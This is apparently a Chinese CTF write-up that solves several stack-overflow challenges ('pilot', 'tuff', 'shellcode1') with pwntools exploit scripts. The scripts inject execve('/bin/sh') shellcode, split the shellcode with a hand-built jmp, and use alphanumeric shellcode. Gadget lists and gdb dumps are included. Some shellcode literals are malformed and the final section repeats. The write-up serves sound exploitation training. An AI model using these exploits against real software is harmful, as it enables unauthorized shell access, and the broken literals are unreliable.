首先IDA分析程序逻辑:简单的两条语句,存在溢出点。
查看设置的保护机制:
-z execstack
/ -z noexecstack
(关闭 / 开启)-fno-stack-protector
/-fstack-protector
/ -fstack-protector-all
(关闭 / 开启 / 全开启)-no-pie
/ -pie
(关闭 / 开启)-z norelro
/ -z lazy
/ -z now
(关闭 / 部分开启 / 完全开启)可以看到程序基本什么保护都没,我们猜想可以简单的放入一条shellcode来getshell。
首先需要分析一下栈的需要填充的字符数量。
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('127.0.0.1',4000)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode1="\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = "\xa"*24
payload += p64(shellcode_address_at_stack)
payload += shellcode
io.sendline(payload)
io.interactive()
为什么shellcode可以执行呢?
那么就需要思考一个问题,计算器中存储数据都是一大堆因为在计算器中对于数据的识别是依靠可以简单的理解
是一个C++的程序,反汇编出伪代码看上去很可怕,不管他,先运行。
逻辑很简单,一大堆的输出,一个输入。
command上面都是一些无用的信息,打印一些情景描述,不用理会。直接看到read函数,发现一个溢出点。
没有开启执行保护,可以考虑直接放置shellcode来执行获得shell。
所以偏移应该是32+8.
开始构造exp。
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('127.0.0.1',4000)
print(pidof(io))
shellcode ="
\x48\x31\xd2\x48\xbb\x2f\x2f\x62
\x69\x6e\x2f\x73\x68\x48\xc1\xeb
\x08\x53\x48\x89\xe7\x50\x57\x48
\x89\xe6\xb0\x3b\x0f\x05"
#\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
shellcode1='\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode2="\x48\x31\xc0\x99\xb0\x3b\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x57\x52\x48\x89\xe6\x0f\x05"
io.recvuntil(":")
shellcode_address_at_stack = int(io.recv()[:14], 16)+0x30
log.info("Leak stack address = %x", shellcode_address_at_stack)
pause()
payload = shellcode+"a"*(40-len(shellcode))
payload += p64(shellcode_address_at_stack)
io.sendline(payload)
io.interactive()
栈被正确布置:(rsp在78)
但是程序运行到最后却不能正常完成,为何?
运行前
gdb-peda$ x/20gx 0x7fff0d9e9f50
0x7fff0d9e9f50: 0x622f2fbb48d23148 0xebc14868732f6e69
0x7fff0d9e9f60: 0x485750e789485308 0x6161050f3bb0e689
0x7fff0d9e9f70: 0x6161616161616161 0x0068732f6e69622f
0x7fff0d9e9f80: 0x0000000000011c0a 0x00007fff0d9ea058
0x7fff0d9e9f90: 0x000000010d9ea068 0x00000000004009a6
0x7fff0d9e9fa0: 0x0000000000000000 0x8ed19bc4f66e5499
0x7fff0d9e9fb0: 0x00000000004008b0 0x00007fff0d9ea050
0x7fff0d9e9fc0: 0x0000000000000000 0x0000000000000000
0x7fff0d9e9fd0: 0x712f8079de4e5499 0x709a16d0ee9e5499
0x7fff0d9e9fe0: 0x0000000000000000 0x0000000000000000
运行后
gdb-peda$ x/20gx 0x7fff0d9e9f50
0x7fff0d9e9f50: 0x622f2fbb48d23148 0xebc14868732f6e69
0x7fff0d9e9f60: 0x485750e789485308 0x00007fff0d9e9f78
0x7fff0d9e9f70: 0x0000000000000000 0x0068732f6e69622f
0x7fff0d9e9f80: 0x0000000000011c0a 0x00007fff0d9ea058
0x7fff0d9e9f90: 0x000000010d9ea068 0x00000000004009a6
0x7fff0d9e9fa0: 0x0000000000000000 0x8ed19bc4f66e5499
0x7fff0d9e9fb0: 0x00000000004008b0 0x00007fff0d9ea050
0x7fff0d9e9fc0: 0x0000000000000000 0x0000000000000000
0x7fff0d9e9fd0: 0x712f8079de4e5499 0x709a16d0ee9e5499
0x7fff0d9e9fe0: 0x0000000000000000 0x0000000000000000
对shellcode代码进行分析可以知道在后面进行了两次push操作,第三次push操作正好覆盖了最后一段shellcode的执行,所以不能正常运行。这里要进行分割剪切操作。
知识点:#敲黑板
jmp指令机器码构造
jmp指令机器码E9/EB,后面跟立即数则为该段偏移的位置数。
;=======================================
1 [bits 32]
2
3 00000000 90 nop
4 00000001 90 nop
5 00000002 90 nop
6 00000003 E902000000 jmp test
7 00000008 90 nop
8 00000009 90 nop
9 test:
10 0000000A 90 nop
;=======================================
JMP 立即数,机器码是 EB ,后面跟一个偏移量. 偏移量计算与上面CALL相同.test 地址是 0A,JMP指令后下一条指令地址是08,0A-08=2
所以我们只需要跳转到后面去,让存放shellcode的地方即是可控的,又不被push所影响即可。
shellcode1=
\x48\x31\xd2\x48\xbb\x2f\x2f\x62
\x69\x6e\x2f\x73\x68\x48\xc1\xeb
\x08\x53\x48\x89\xe7\x50\x57\x48
\xEB\18
shellcode2=
\x89\xe6\xb0\x3b\x0f\x05
所以修改以后的exp:
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process("./pilot")
print(pidof(io))
shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\xE8\x18"
shellcode1="\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
io.recvuntil(":")
shellcode_address_at_stack = int(io.recv()[:14], 16)
log.info("Leak stack address = %x", shellcode_address_at_stack)
pause()
payload = shellcode+"\90"*(40-len(shellcode))
payload += p64(shellcode_address_at_stack)+shellcode1
io.sendline(payload)
io.interactive()
push指令先sp减去定大小,在压入数。
修改之后的栈情况
得到shell。
其实。。这题不需要这么复杂,但是恰好带有一种分解shellcode的思想所以放在这里谈一谈。我们从上面可以看到前面其实有24字节是安全的,如果有shellcode短于等于24字节那不是完事大吉??
\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05
#exp2.py
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process("./pilot")
print(pidof(io))
shellcode="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
io.recvuntil(":")
shellcode_address_at_stack = int(io.recv()[:14], 16)
log.info("Leak stack address = %x", shellcode_address_at_stack)
payload = shellcode+"\90"*(40-len(shellcode))
payload += p64(shellcode_address_at_stack)
io.recv()
io.sendline(payload)
io.interactive()
#exp3.py
#!/usr/bin/env python
from pwn import *
sh = "\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
padding = '\x90' * (0x28 - len(sh))
conn = process("./pilot")
conn.recvuntil('Location:')
addr = p64(int(conn.recvline().strip(), 16))
payload = sh + padding + addr
conn.recvuntil('Command:')
conn.sendline(payload)
conn.interactive()
这道题既然可以用shellcode那么可不可以用gadget自己构造呢?我们查看一下有哪些可以的gadget:
Gadgets information
============================================================
0x0000000000400973 : mov byte ptr [rip + 0x20183e], 1 ; ret
0x0000000000400bec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bee : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bf0 : pop r14 ; pop r15 ; ret
0x0000000000400bf2 : pop r15 ; ret
0x0000000000400972 : pop rbp ; mov byte ptr [rip + 0x20183e], 1 ; ret
0x0000000000400beb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400bef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400910 : pop rbp ; ret
0x0000000000400bf3 : pop rdi ; ret
0x0000000000400bf1 : pop rsi ; pop r15 ; ret
0x0000000000400bed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007d9 : ret
0x0000000000400aa3 : ret 0x8d48
Unique gadgets found: 14
好吧。。虽然有通用gadget但是其实并不能够产生系统调用所需的所有。。
首先分析一下程序:
发现一个反调试的函数alarm,他限制了程序运行的时间从而干扰调试。
可以用sed -i s/alarm/isnan/g ./tuff
来替换掉alarm函数。从而解除本地调试限制的障碍。
程序的大概意思就是告诉了咱程序栈分配的最初始位置。然后读取用户输入,在对输入base64加密处理,再输出。
解码成shellcode的字符
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA
#!/usr/bin/python
#coding:utf-8
from pwn import *
from base64 import *
io = process('./tuff')
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
print io.recv()
io.send(shellcode)
print io.recv()
io.interactive()
先分析一下程序的逻辑:
mmap映射内存空间,read读取,v5?执行函数?
有可能是读取以后在运行。。
额。。保护有点多啊,看了一下gadget还不多,先试试再说。
额,成了。
from pwn import *
io=process ("./shellcode1")
#payload="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
io.send(shellcode)
io.interactive()
shellcode太长了好像会失败,尽量找个短一点的。
一下gadget还不多,先试试再说。
额,成了。
[外链图片转存中…(img-UYpxyg1m-1585470949237)]
from pwn import *
io=process ("./shellcode1")
#payload="\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
io.send(shellcode)
io.interactive()
shellcode太长了好像会失败,尽量找个短一点的。